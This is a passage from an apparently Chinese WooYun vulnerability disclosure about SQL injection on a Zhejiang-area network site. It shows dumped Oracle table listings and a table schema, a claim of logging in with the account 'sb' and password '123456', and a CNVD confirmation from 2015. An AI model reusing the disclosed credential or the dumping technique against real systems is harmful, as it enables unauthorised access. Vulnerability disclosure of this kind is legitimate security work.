| MGMT_JOB_PARAMETER             | 2       |
| MGMT_JOB_PURGE_POLICIES        | 2       |
| MGMT_JOB_STATE_CHANGES         | 2       |
| MGMT_LOGIN_ASSISTANTS          | 2       |
| MGMT_PAF_JOBTYPES              | 2       |
| MGMT_PAF_PROCEDURES            | 2       |
| MGMT_PAF_TEXTUAL_DATA          | 2       |
| MGMT_PDP_METADATA              | 2       |
| MGMT_SYSTEM_PERFORMANCE_LOG    | 2       |
| MGMT_TASK_WORKER_COUNTS        | 2       |
| MGMT_USER_CAS                  | 2       |
| AQ$_MGMT_LOADER_QTABLE_S       | 1       |
| AQ$_MGMT_NOTIFY_QTABLE_S       | 1       |
| MGMT_AUDIT_DESTINATION         | 1       |
| MGMT_AUDIT_MASTER              | 1       |
| MGMT_AVAILABILITY              | 1       |
| MGMT_AVAILABILITY_MARKER       | 1       |
| MGMT_BLACKOUT_PROXY_TARGETS    | 1       |
| MGMT_CURRENT_AVAILABILITY      | 1       |
| MGMT_DEPLOYMENT_SECTIONS       | 1       |
| MGMT_ECM_CSA_OUT_OF_BOX        | 1       |
| MGMT_HTTP_SESSION_CALLBACKS    | 1       |
| MGMT_JOB_EVENT                 | 1       |
| MGMT_JOB_PURGE_CRITERIA        | 1       |
| MGMT_JOB_PURGE_VALUES          | 1       |
| MGMT_JOB_SCHEDULE              | 1       |
| MGMT_MASTER_CHANGED_CALLBACK   | 1       |
| MGMT_NOTIFY_JOB_RULE_CONFIGS   | 1       |
| MGMT_REBUILD_INDEXES           | 1       |
| MGMT_ROLE_GRANTS               | 1       |
| MGMT_ROLES                     | 1       |
| MGMT_RT_BOOTSTRAP_TIMES        | 1       |
| MGMT_SEC_INFO                  | 1       |
| MGMT_TARGETS                   | 1       |

漏洞证明：

Database: NETREP_YW
Table: NET_AE02
[11 columns]
+--------+----------+
| Column | Type     |
+--------+----------+
| CAE001 | NUMBER   |
| CAE003 | VARCHAR2 |
| CAE004 | VARCHAR2 |
| CAE005 | DATE     |
| CAE006 | VARCHAR2 |
| CAE009 | VARCHAR2 |
| CAE010 | NUMBER   |
| CAE012 | DATE     |
| CAE013 | NUMBER   |
| CAE014 | VARCHAR2 |
| CAE016 | VARCHAR2 |
+--------+----------+


1.png


SMT_USER表有登陆

1.png


利用sb用户 密码123456登陆

1.png


修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-05-27 11:31

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给浙江分中心，由其后续协调网站管理单位处置。

最新状态：

暂无